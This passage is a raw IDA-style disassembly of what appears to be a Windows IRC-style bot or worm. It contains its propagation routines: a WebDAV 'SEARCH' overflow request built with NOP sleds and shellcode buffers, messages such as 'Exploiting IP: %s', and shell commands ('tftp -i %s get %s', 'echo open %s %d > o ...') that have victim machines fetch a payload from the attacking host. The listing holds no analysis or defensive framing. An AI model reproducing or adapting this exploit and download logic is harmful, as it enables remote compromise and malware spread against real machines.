sub_41108D+22j push ebx call sub_410FD3 test eax, eax pop ecx jz short loc_4110C3 inc [ebp+var_4] loc_4110C3: ; CODE XREF: sub_41108D+1Aj ; sub_41108D+26j ... add esi, 234h inc ebx cmp esi, offset dword_4790CC jl short loc_4110A1 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41108D endp ; =============== S U B R O U T I N E ======================================= sub_4110DA proc near ; CODE XREF: sub_4010CA+Bp ; sub_401141+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_434338 loc_4110E1: ; CODE XREF: sub_4110DA+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_4110EA inc eax loc_4110EA: ; CODE XREF: sub_4110DA+Dj add ecx, 234h cmp ecx, offset dword_4790C8 jl short loc_4110E1 retn sub_4110DA endp ; =============== S U B R O U T I N E ======================================= sub_4110F9 proc near ; CODE XREF: sub_4078FA+4139p arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_434338 push esi loc_411103: ; CODE XREF: sub_4110F9+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_41111C add ecx, 234h inc edx cmp ecx, offset dword_4790C8 jl short loc_411103 pop esi retn ; --------------------------------------------------------------------------- loc_41111C: ; CODE XREF: sub_4110F9+10j mov eax, edx pop esi retn sub_4110F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411120 proc near ; CODE XREF: sub_4078FA+1EA8p ; sub_4078FA+4863p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_411139 push [ebp+arg_1C] call sub_412F42 pop ecx loc_411139: ; CODE XREF: sub_411120+Ej push eax push [ebp+arg_18] call sub_41108D test eax, eax pop ecx pop ecx jle short loc_411165 push eax push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_412BB5 add esp, 14h jmp short loc_41117F ; --------------------------------------------------------------------------- loc_411165: ; CODE XREF: sub_411120+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_412BB5 add esp, 10h loc_41117F: ; CODE XREF: sub_411120+43j cmp [ebp+arg_C], 0 jnz short loc_41119F push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h loc_41119F: ; CODE XREF: sub_411120+63j lea eax, [ebp+var_200] push eax call sub_401C33 pop ecx leave retn sub_411120 endp ; =============== S U B R O U T I N E ======================================= sub_4111AE proc near ; CODE XREF: sub_40169B+227p ; sub_4018D1+244p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] imul eax, 234h xor ecx, ecx mov dword_43434C[eax], ecx mov dword_434338[eax], ecx mov dword_43433C[eax], ecx mov dword_434340[eax], ecx mov dword_434344[eax], ecx mov dword_434348[eax], ecx mov byte ptr dword_434138[eax], cl mov byte_434350[eax], cl retn sub_4111AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_4111EB proc near ; DATA XREF: sub_4078FA+46CCo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 98h mov eax, [ebp+74h+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+74h+var_98] rep movsd push [ebp+74h+var_10] mov dword ptr [eax+94h], 1 push [ebp+74h+var_C] lea eax, [ebp+74h+var_94] push eax push [ebp+74h+var_98] call sub_410F55 push [ebp+74h+var_14] call sub_4111AE add esp, 14h push 0 call ds:dword_41F014 int 3 ; Trap to Debugger sub_4111EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411235 proc near ; CODE XREF: sub_40169B+1F8p ; DATA XREF: .data:off_42A06Co var_1210 = byte ptr -1210h var_11AC = byte ptr -11ACh var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_98 = byte ptr 0A0h arg_124 = dword ptr 12Ch arg_12C = dword ptr 134h arg_134 = dword ptr 13Ch arg_138 = dword ptr 140h push ebp mov ebp, esp mov eax, 1210h call sub_412DD0 push 6 push 1 push 2 call dword_4334A0 cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41125A xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_41125A: ; CODE XREF: sub_411235+1Fj push ebx push esi push edi push [ebp+arg_124] call dword_4335EC lea eax, [ebp+arg_4] push eax call dword_433514 push 186A0h call sub_41344D mov edi, 1000h push edi mov ebx, eax call sub_41344D pop ecx pop ecx push offset byte_42AED0 push [ebp+arg_0] mov esi, eax mov [ebp+var_C], esi call sub_406C33 pop ecx push eax push edi push esi call sub_40F790 add esp, 10h test eax, eax mov [ebp+var_8], eax jnz short loc_4112CF push ebx call sub_412FE4 push esi call sub_412FE4 pop ecx pop ecx push [ebp+var_10] loc_4112C2: ; CODE XREF: sub_411235+27Bj call dword_4335AC xor eax, eax jmp loc_41154F ; --------------------------------------------------------------------------- loc_4112CF: ; CODE XREF: sub_411235+7Aj push 19h mov eax, 90909090h pop ecx lea edi, [ebp+var_1210] rep stosd mov ecx, [ebp+var_8] mov eax, ecx shr ecx, 2 lea edi, [ebp+var_11AC] rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax mov ecx, 61A8h mov edi, ebx rep stosd mov esi, offset aSearch ; "SEARCH /" mov edi, ebx movsd movsd mov eax, ebx movsb lea esi, [eax+1] loc_411310: ; CODE XREF: sub_411235+E0j mov cl, [eax] inc eax test cl, cl jnz short loc_411310 sub eax, esi mov esi, eax lea edx, [esi+1] lea eax, [esi+866h] cmp edx, eax mov byte ptr [esi+ebx], 90h jnb short loc_41134E sub eax, edx dec eax shr eax, 1 inc eax mov ecx, eax mov [ebp+var_4], ecx shr ecx, 1 lea edi, [edx+ebx] mov eax, 0B102B102h rep stosd adc ecx, ecx rep stosw mov eax, [ebp+var_4] lea edx, [edx+eax*2] loc_41134E: ; CODE XREF: sub_411235+F5j mov eax, offset loc_42B408 mov edi, eax lea ecx, [edi+1] mov [ebp+var_4], ecx loc_41135B: ; CODE XREF: sub_411235+12Bj mov cl, [edi] inc edi test cl, cl jnz short loc_41135B sub edi, [ebp+var_4] jmp short loc_41137C ; --------------------------------------------------------------------------- loc_411367: ; CODE XREF: sub_411235+155j lea ecx, [edi+1] mov byte ptr [edx+ebx], 90h inc edx mov [ebp+var_4], ecx loc_411372: ; CODE XREF: sub_411235+142j mov cl, [edi] inc edi test cl, cl jnz short loc_411372 sub edi, [ebp+var_4] loc_41137C: ; CODE XREF: sub_411235+130j mov ecx, esi sub ecx, edi add ecx, 0FFFFh cmp edx, ecx mov edi, eax jb short loc_411367 lea esi, [edi+1] loc_41138F: ; CODE XREF: sub_411235+15Fj mov cl, [edi] inc edi test cl, cl jnz short loc_41138F sub edi, esi mov ecx, edi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [edx+ebx] rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, ebx dec edi loc_4113B0: ; CODE XREF: sub_411235+181j mov al, [edi+1] inc edi test al, al jnz short loc_4113B0 mov esi, offset aHttp1_1 ; " HTTP/1.1\r\n" movsd movsd movsd mov esi, offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<g:searchrequest"... mov eax, esi lea edi, [eax+1] loc_4113CA: ; CODE XREF: sub_411235+19Aj mov cl, [eax] inc eax test cl, cl jnz short loc_4113CA sub eax, edi mov edi, eax mov eax, ebx lea ecx, [eax+1] loc_4113DA: ; CODE XREF: sub_411235+1AAj mov dl, [eax] inc eax test dl, dl jnz short loc_4113DA sub eax, ecx mov ecx, [ebp+var_8] add edi, ecx push edi lea ecx, [ebp+arg_4] push ecx add eax, ebx push offset aHostSContentTy ; "Host: %s\r\nContent-Type: text/xml\r\nConte"... push eax call sub_412BB5 add esp, 10h mov eax, esi loc_4113FF: ; CODE XREF: sub_411235+1CFj mov cl, [eax] inc eax test cl, cl jnz short loc_4113FF mov edi, ebx sub eax, esi dec edi loc_41140B: ; CODE XREF: sub_411235+1DCj mov cl, [edi+1] inc edi test cl, cl jnz short loc_41140B mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 mov eax, ebx rep movsb lea esi, [eax+1] loc_411426: ; CODE XREF: sub_411235+1F6j mov cl, [eax] inc eax test cl, cl jnz short loc_411426 sub eax, esi mov ecx, eax mov eax, 1010101h lea edi, [ecx+ebx] stosb mov eax, ebx lea esi, [eax+1] loc_41143F: ; CODE XREF: sub_411235+20Fj mov cl, [eax] inc eax test cl, cl jnz short loc_41143F sub eax, esi mov ecx, eax mov eax, 90909090h lea edi, [ecx+ebx] stosw stosb mov eax, ebx lea esi, [eax+1] loc_41145A: ; CODE XREF: sub_411235+22Aj mov cl, [eax] inc eax test cl, cl jnz short loc_41145A mov ecx, [ebp+var_8] sub eax, esi lea edi, [eax+ebx] mov eax, ecx shr ecx, 2 lea esi, [ebp+var_1210] rep movsd mov ecx, eax and ecx, 3 mov eax, ebx rep movsb lea esi, [eax+1] loc_411482: ; CODE XREF: sub_411235+252j mov cl, [eax] inc eax test cl, cl jnz short loc_411482 sub eax, esi mov esi, [ebp+var_10] xor edi, edi push edi push eax push ebx push esi call dword_433534 cmp eax, 0FFFFFFFFh jnz short loc_4114B5 push ebx call sub_412FE4 push [ebp+var_C] call sub_412FE4 pop ecx pop ecx push esi jmp loc_4112C2 ; --------------------------------------------------------------------------- loc_4114B5: ; CODE XREF: sub_411235+268j push edi push 1388h push ebx push esi call dword_433414 push ebx call sub_412FE4 push [ebp+var_C] call sub_412FE4 pop ecx pop ecx push esi call dword_4335AC lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_12C] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp+var_210] push 200h push eax call sub_412E0D add esp, 14h cmp [ebp+arg_138], edi jnz short loc_41152E push edi push [ebp+arg_134] lea eax, [ebp+var_210] push eax lea eax, [ebp+arg_98] push eax push [ebp+arg_0] call sub_4045DD add esp, 14h loc_41152E: ; CODE XREF: sub_411235+2D7j lea eax, [ebp+var_210] push eax call sub_401C33 mov eax, [ebp+arg_12C] imul eax, 3Ch lea eax, dword_42A070[eax] inc dword ptr [eax] xor eax, eax pop ecx inc eax loc_41154F: ; CODE XREF: sub_411235+95j pop edi pop esi pop ebx leave retn sub_411235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411554 proc near ; CODE XREF: sub_4115E8+41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] mov ecx, [edx] push edi xor edi, edi and [ebp+var_8], edi xor eax, eax inc eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_411575 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_411575: ; CODE XREF: sub_411554+19j push ebx push esi loc_411577: ; CODE XREF: sub_411554+77j mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_411585 cmp [ebp+var_4], eax jnz short loc_4115CD loc_411585: ; CODE XREF: sub_411554+2Aj test edi, edi jnz short loc_4115C2 cmp bl, 2Dh jnz short loc_4115B6 lea esi, [ecx+1] mov cl, [ecx-1] mov al, [esi] cmp cl, al jge short loc_4115B6 cmp al, 5Dh jz short loc_4115B6 cmp [ebp+var_4], edi jnz short loc_4115B6 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4115C2 cmp bl, al jg short loc_4115C2 mov [edx], esi jmp short loc_4115BF ; --------------------------------------------------------------------------- loc_4115B6: ; CODE XREF: sub_411554+38j ; sub_411554+44j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4115C2 loc_4115BF: ; CODE XREF: sub_411554+60j xor edi, edi inc edi loc_4115C2: ; CODE XREF: sub_411554+33j ; sub_411554+58j ... inc dword ptr [edx] and [ebp+var_4], 0 xor eax, eax inc eax jmp short loc_411577 ; --------------------------------------------------------------------------- loc_4115CD: ; CODE XREF: sub_411554+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4115DA mov ecx, eax sub ecx, edi mov edi, ecx loc_4115DA: ; CODE XREF: sub_411554+7Ej cmp edi, eax jnz short loc_4115E3 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4115E3: ; CODE XREF: sub_411554+88j mov eax, edi pop edi leave retn sub_411554 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4115E8 proc near ; CODE XREF: sub_4078FA+57C2p ; sub_41167C+65p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_41164A ; --------------------------------------------------------------------------- loc_4115F4: ; CODE XREF: sub_4115E8+66j cmp eax, 1 jnz short loc_41165B mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41165B cmp cl, 2Ah jz short loc_411633 cmp cl, 3Fh jz short loc_411618 cmp cl, 5Bh jz short loc_41161D xor eax, eax cmp cl, dl setz al loc_411618: ; CODE XREF: sub_4115E8+22j inc [ebp+arg_4] jmp short loc_411646 ; --------------------------------------------------------------------------- loc_41161D: ; CODE XREF: sub_4115E8+27j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] inc esi push eax mov [ebp+arg_0], esi call sub_411554 mov esi, [ebp+arg_0] jmp short loc_411644 ; --------------------------------------------------------------------------- loc_411633: ; CODE XREF: sub_4115E8+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_41167C mov esi, [ebp+arg_0] dec esi loc_411644: ; CODE XREF: sub_4115E8+49j pop ecx pop ecx loc_411646: ; CODE XREF: sub_4115E8+33j inc esi mov [ebp+arg_0], esi loc_41164A: ; CODE XREF: sub_4115E8+Aj mov cl, [esi] test cl, cl jnz short loc_4115F4 jmp short loc_41165B ; --------------------------------------------------------------------------- loc_411652: ; CODE XREF: sub_4115E8+76j cmp eax, 1 jnz short loc_411677 inc esi mov [ebp+arg_0], esi loc_41165B: ; CODE XREF: sub_4115E8+Fj ; sub_4115E8+18j ... cmp byte ptr [esi], 2Ah jz short loc_411652 cmp eax, 1 jnz short loc_411677 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_411677 cmp byte ptr [esi], 0 jnz short loc_411677 xor eax, eax inc eax jmp short loc_411679 ; --------------------------------------------------------------------------- loc_411677: ; CODE XREF: sub_4115E8+6Dj ; sub_4115E8+7Bj ... xor eax, eax loc_411679: ; CODE XREF: sub_4115E8+8Dj pop esi pop ebp retn sub_4115E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41167C proc near ; CODE XREF: sub_4115E8+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] inc dword ptr [esi] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 xor ebx, ebx jmp short loc_4116AB ; --------------------------------------------------------------------------- loc_411696: ; CODE XREF: sub_41167C+35j mov cl, [eax] cmp cl, 3Fh jz short loc_4116A7 cmp cl, 2Ah jnz short loc_4116B3 cmp cl, 3Fh jnz short loc_4116A9 loc_4116A7: ; CODE XREF: sub_41167C+1Fj inc dword ptr [edi] loc_4116A9: ; CODE XREF: sub_41167C+29j inc dword ptr [esi] loc_4116AB: ; CODE XREF: sub_41167C+18j mov ecx, [edi] cmp [ecx], bl mov eax, [esi] jnz short loc_411696 loc_4116B3: ; CODE XREF: sub_41167C+24j cmp byte ptr [eax], 2Ah jnz short loc_4116C2 loc_4116B8: ; CODE XREF: sub_41167C+44j inc eax mov ecx, eax mov [esi], eax cmp byte ptr [ecx], 2Ah jz short loc_4116B8 loc_4116C2: ; CODE XREF: sub_41167C+3Aj mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_4116DF cmp [eax], bl jz short loc_4116D2 xor eax, eax jmp short loc_411744 ; --------------------------------------------------------------------------- loc_4116D2: ; CODE XREF: sub_41167C+50j cmp dl, bl jnz short loc_4116DF cmp [eax], bl jnz short loc_4116DF xor eax, eax inc eax jmp short loc_411744 ; --------------------------------------------------------------------------- loc_4116DF: ; CODE XREF: sub_41167C+4Cj ; sub_41167C+58j ... push ecx push eax call sub_4115E8 test eax, eax pop ecx pop ecx jnz short loc_41172E loc_4116EC: ; CODE XREF: sub_41167C+B0j inc dword ptr [edi] mov ecx, [esi] mov eax, [edi] mov cl, [ecx] cmp cl, [eax] jz short loc_411710 loc_4116F8: ; CODE XREF: sub_41167C+92j mov ecx, [esi] cmp byte ptr [ecx], 5Bh jz short loc_411710 cmp [eax], bl jz short loc_411725 inc eax mov [edi], eax mov ecx, [esi] mov cl, [ecx] mov edx, eax cmp cl, [edx] jnz short loc_4116F8 loc_411710: ; CODE XREF: sub_41167C+7Aj ; sub_41167C+81j cmp [eax], bl jz short loc_411725 push eax push dword ptr [esi] call sub_4115E8 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_41172A ; --------------------------------------------------------------------------- loc_411725: ; CODE XREF: sub_41167C+85j ; sub_41167C+96j mov [ebp+var_4], ebx xor eax, eax loc_41172A: ; CODE XREF: sub_41167C+A7j cmp eax, ebx jnz short loc_4116EC loc_41172E: ; CODE XREF: sub_41167C+6Ej mov eax, [edi] cmp [eax], bl jnz short loc_411741 mov eax, [esi] cmp [eax], bl jnz short loc_411741 mov [ebp+var_4], 1 loc_411741: ; CODE XREF: sub_41167C+B6j ; sub_41167C+BCj mov eax, [ebp+var_4] loc_411744: ; CODE XREF: sub_41167C+54j ; sub_41167C+61j pop edi pop esi pop ebx leave retn sub_41167C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h and dword ptr [ebp-10h], 0 push ebx push esi push edi mov esi, offset dword_427540 lea edi, [ebp-24h] movsd movsd movsd movsd push 15Bh movsw mov dword ptr [ebp-44h], 6741A1CDh mov dword ptr [ebp-40h], 6741A199h mov dword ptr [ebp-3Ch], 6741A426h mov dword ptr [ebp-38h], 67419E1Dh mov dword ptr [ebp-34h], 67419CE8h mov dword ptr [ebp-30h], 0FFB7DE9h mov dword ptr [ebp-2Ch], 0FFB832Fh call sub_41344D pop ecx mov edi, eax mov [ebp-4], edi push 56h xor eax, eax pop ecx rep stosd stosw stosb mov ecx, [ebp-4] mov edi, ecx lea esi, [ebp-24h] movsd movsd movsd movsd add ecx, 11h movsw mov edi, ecx mov [ebp-28h], ecx dec edi loc_4117C9: ; CODE XREF: .text:004117CFj mov al, [edi+1] inc edi test al, al jnz short loc_4117C9 mov esi, offset loc_42753C movsw movsb mov edi, ecx dec edi loc_4117DC: ; CODE XREF: .text:004117E2j mov al, [edi+1] inc edi test al, al jnz short loc_4117DC mov esi, offset aNilsisgay ; "NILSISGAY!!" movsd push 6 movsd push 1 push 2 movsd call dword_4334A0 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_411A26 and dword ptr [ebp-8], 0 lea esi, [ebp-44h] mov [ebp-0Ch], esi loc_41180D: ; CODE XREF: .text:004119B1j xor eax, eax lea edi, [ebp-24h] stosd stosd stosd stosd lea eax, [ebp+0Ch] push eax mov word ptr [ebp-24h], 2 call dword_433514 push dword ptr [ebp+12Ch] mov [ebp-20h], eax call dword_4335EC mov [ebp-22h], ax push 10h lea eax, [ebp-24h] push eax push ebx call dword_433458 cmp eax, 0FFFFFFFFh jz loc_41199D mov edi, [ebp-28h] not dword ptr [esi] push 4 push esi push edi call sub_412A80 mov eax, offset loc_42A1D0 add esp, 0Ch mov ecx, eax loc_411867: ; CODE XREF: .text:0041186Cj mov dl, [eax] inc eax test dl, dl jnz short loc_411867 sub eax, ecx mov esi, ecx dec edi loc_411873: ; CODE XREF: .text:00411879j mov cl, [edi+1] inc edi test cl, cl jnz short loc_411873 mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 lea eax, [ebp-4] rep movsb lea ecx, [eax+1] loc_41188F: ; CODE XREF: .text:00411894j mov dl, [eax] inc eax test dl, dl jnz short loc_41188F push 0 sub eax, ecx push eax lea eax, [ebp-4] push eax push ebx call dword_433534 test eax, eax jz loc_41199A mov esi, ds:dword_41F000 push 3E8h call esi push ebx call dword_4335AC xor eax, eax lea edi, [ebp-24h] stosd stosd stosd stosd lea eax, [ebp+0Ch] push eax mov word ptr [ebp-24h], 2 call dword_433514 push 7BDh mov [ebp-20h], eax call dword_4335EC mov [ebp-22h], ax push 10h lea eax, [ebp-24h] push eax push ebx call dword_433458 test eax, eax jz loc_41199A mov eax, offset byte_42AED0 push eax push eax push dword ptr [ebp+8] call sub_406C33 pop ecx push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" mov edi, 190h lea eax, [ebp-1D4h] push edi push eax call sub_412E0D add esp, 18h push dword_432FF4 push dword ptr [ebp+8] call sub_406C33 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp-1D4h] push edi push eax call sub_412E0D add esp, 14h push 0 add edi, 70h push edi lea eax, [ebp-3D4h] push eax push dword ptr [ebp+8] call dword_433414 test eax, eax jle short loc_41199A push 1F4h call esi lea eax, [ebp-1D4h] lea edx, [eax+1] loc_41197C: ; CODE XREF: .text:00411981j mov cl, [eax] inc eax test cl, cl jnz short loc_41197C push 0 sub eax, edx push eax lea eax, [ebp-1D4h] push eax push ebx call dword_433534 test eax, eax jg short loc_4119B9 loc_41199A: ; CODE XREF: .text:004118A8j ; .text:004118FCj ... mov esi, [ebp-0Ch] loc_41199D: ; CODE XREF: .text:00411849j push ebx call dword_4335AC inc dword ptr [ebp-8] add esi, 4 cmp dword ptr [ebp-8], 7 mov [ebp-0Ch], esi jb loc_41180D jmp short loc_411A26 ; --------------------------------------------------------------------------- loc_4119B9: ; CODE XREF: .text:00411998j push ebx call dword_4335AC lea eax, [ebp+0Ch] push eax mov eax, [ebp+134h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-3D4h] push edi push eax mov dword ptr [ebp-10h], 1 call sub_412E0D add esp, 14h cmp dword ptr [ebp+140h], 0 jnz short loc_411A19 push 0 push dword ptr [ebp+13Ch] lea eax, [ebp-3D4h] push eax lea eax, [ebp+0A0h] push eax push dword ptr [ebp+8] call sub_4045DD add esp, 14h loc_411A19: ; CODE XREF: .text:004119F6j lea eax, [ebp-3D4h] push eax call sub_401C33 pop ecx loc_411A26: ; CODE XREF: .text:004117FDj ; .text:004119B7j mov eax, [ebp-10h] pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A2E proc near ; CODE XREF: sub_411B71+3F8p var_5A4 = byte ptr -5A4h var_1A4 = byte ptr -1A4h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_94 = dword ptr 9Ch push ebp mov ebp, esp sub esp, 5A4h push ebx push esi push edi xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd stosd lea eax, [ebp+arg_4] push eax mov [ebp+var_14], 2 call dword_433514 mov [ebp+var_10], eax xor eax, eax mov ax, word_42BDA0 push eax call dword_4335EC xor ebx, ebx push ebx push 1 push 2 mov [ebp+var_12], ax call dword_4334A0 mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+var_4], esi jnz short loc_411A87 xor al, al jmp loc_411B6C ; --------------------------------------------------------------------------- loc_411A87: ; CODE XREF: sub_411A2E+50j push 10h lea eax, [ebp+var_14] push eax push esi call dword_433458 cmp eax, 0FFFFFFFFh jz loc_411B61 push ebx mov edi, 400h push edi lea eax, [ebp+var_5A4] push eax push esi call dword_433414 push [ebp+arg_94] lea eax, [ebp+arg_14] push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d>o&echo USER a>>o&echo a"... mov esi, 190h lea eax, [ebp+var_1A4] push esi push eax call sub_412E0D lea eax, [ebp+var_1A4] add esp, 14h lea ecx, [eax+1] loc_411ADF: ; CODE XREF: sub_411A2E+B6j mov dl, [eax] inc eax cmp dl, bl jnz short loc_411ADF push ebx sub eax, ecx push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_4] call dword_433534 cmp eax, 0FFFFFFFFh jz short loc_411B61 push 1F4h call ds:dword_41F000 push offset byte_42AED0 push offset aS_4 ; "%s\r\n" lea eax, [ebp+var_1A4] push esi push eax call sub_412E0D lea eax, [ebp+var_1A4] add esp, 10h lea edx, [eax+1] loc_411B2D: ; CODE XREF: sub_411A2E+104j mov cl, [eax] inc eax cmp cl, bl jnz short loc_411B2D push ebx sub eax, edx push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_4] call dword_433534 cmp eax, 0FFFFFFFFh jz short loc_411B61 push ebx push edi lea eax, [ebp+var_5A4] push eax push [ebp+var_4] call dword_433414 mov bl, 1 loc_411B61: ; CODE XREF: sub_411A2E+69j ; sub_411A2E+CFj ... push [ebp+var_4] call dword_4335AC mov al, bl loc_411B6C: ; CODE XREF: sub_411A2E+54j pop edi pop esi pop ebx leave retn sub_411A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411B71 proc near ; CODE XREF: .text:00412098p ; .text:004120BAp var_81DC = byte ptr -81DCh var_8174 = byte ptr -8174h var_6104 = byte ptr -6104h var_6094 = byte ptr -6094h var_55D0 = byte ptr -55D0h var_402C = byte ptr -402Ch var_402B = byte ptr -402Bh var_2F98 = byte ptr -2F98h var_24D4 = byte ptr -24D4h var_24D3 = byte ptr -24D3h var_24D0 = byte ptr -24D0h var_2454 = byte ptr -2454h var_1C84 = byte ptr -1C84h var_17D9 = byte ptr -17D9h var_14EC = byte ptr -14ECh var_EAC = byte ptr -0EACh var_8D0 = byte ptr -8D0h var_830 = byte ptr -830h var_6C8 = dword ptr -6C8h var_6B8 = byte ptr -6B8h var_394 = dword ptr -394h var_390 = dword ptr -390h var_384 = byte ptr -384h var_124 = dword ptr -124h var_114 = byte ptr -114h var_FC = byte ptr -0FCh var_FB = byte ptr -0FBh var_AC = byte ptr -0ACh var_A9 = byte ptr -0A9h var_7F = byte ptr -7Fh var_7D = byte ptr -7Dh var_7C = byte ptr -7Ch var_34 = byte ptr -34h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_140 = dword ptr 148h arg_144 = dword ptr 14Ch push ebp mov ebp, esp mov eax, 81DCh call sub_412DD0 mov eax, ds:dword_4275EC push ebx mov [ebp+var_C], eax mov eax, ds:dword_4275F0 push esi mov [ebp+var_8], eax push edi lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_34] push offset aSIpc ; "\\\\%s\\ipc$" push eax call sub_412BB5 add esp, 0Ch xor eax, eax loc_411BA8: ; CODE XREF: sub_411B71+4Ej mov cl, [ebp+eax+var_34] and [ebp+eax*2+var_FB], 0 mov [ebp+eax*2+var_FC], cl inc eax cmp eax, 28h jl short loc_411BA8 push 18h pop ecx mov esi, offset dword_42B998 lea edi, [ebp+var_AC] lea eax, [ebp+var_34] rep movsd lea edx, [eax+1] loc_411BD7: ; CODE XREF: sub_411B71+6Bj mov cl, [eax] inc eax test cl, cl jnz short loc_411BD7 sub eax, edx mov ecx, eax lea esi, [ebp+var_FC] lea edi, [ebp+var_7C] lea eax, [ebp+var_34] rep movsw lea ecx, [eax+1] loc_411BF4: ; CODE XREF: sub_411B71+88j mov dl, [eax] inc eax test dl, dl jnz short loc_411BF4 sub eax, ecx lea edi, [ebp+eax*2+var_7D] mov esi, (offset aC_4+3) movsd movsd lea eax, [ebp+var_34] movsb lea ecx, [eax+1] loc_411C0F: ; CODE XREF: sub_411B71+A3j mov dl, [eax] inc eax test dl, dl jnz short loc_411C0F sub eax, ecx add al, 1Ah shl al, 1 mov [ebp+var_1], al mov [ebp+var_A9], al lea eax, [ebp+var_34] lea ecx, [eax+1] loc_411C2B: ; CODE XREF: sub_411B71+BFj mov dl, [eax] inc eax test dl, dl jnz short loc_411C2B sub eax, ecx shl al, 1 add al, 9 mov [ebp+var_7F], al xor eax, eax mov ax, word_42BDA0 push eax call dword_4335EC xor eax, 9999h cmp [ebp+arg_144], 0 mov word_42B690, ax mov eax, 90909090h jz loc_411D3D mov ecx, 36Bh lea edi, [ebp+var_EAC] rep stosd mov eax, [ebp+arg_144] imul eax, 3Ch mov edx, dword_42BDE0[eax] mov eax, offset loc_42B5E0 mov ecx, eax mov [ebp+var_6C8], edx lea esi, [ecx+1] loc_411C93: ; CODE XREF: sub_411B71+127j mov bl, [ecx] inc ecx test bl, bl jnz short loc_411C93 sub ecx, esi mov ebx, ecx shr ecx, 2 mov esi, eax lea edi, [ebp+var_6B8] rep movsd mov 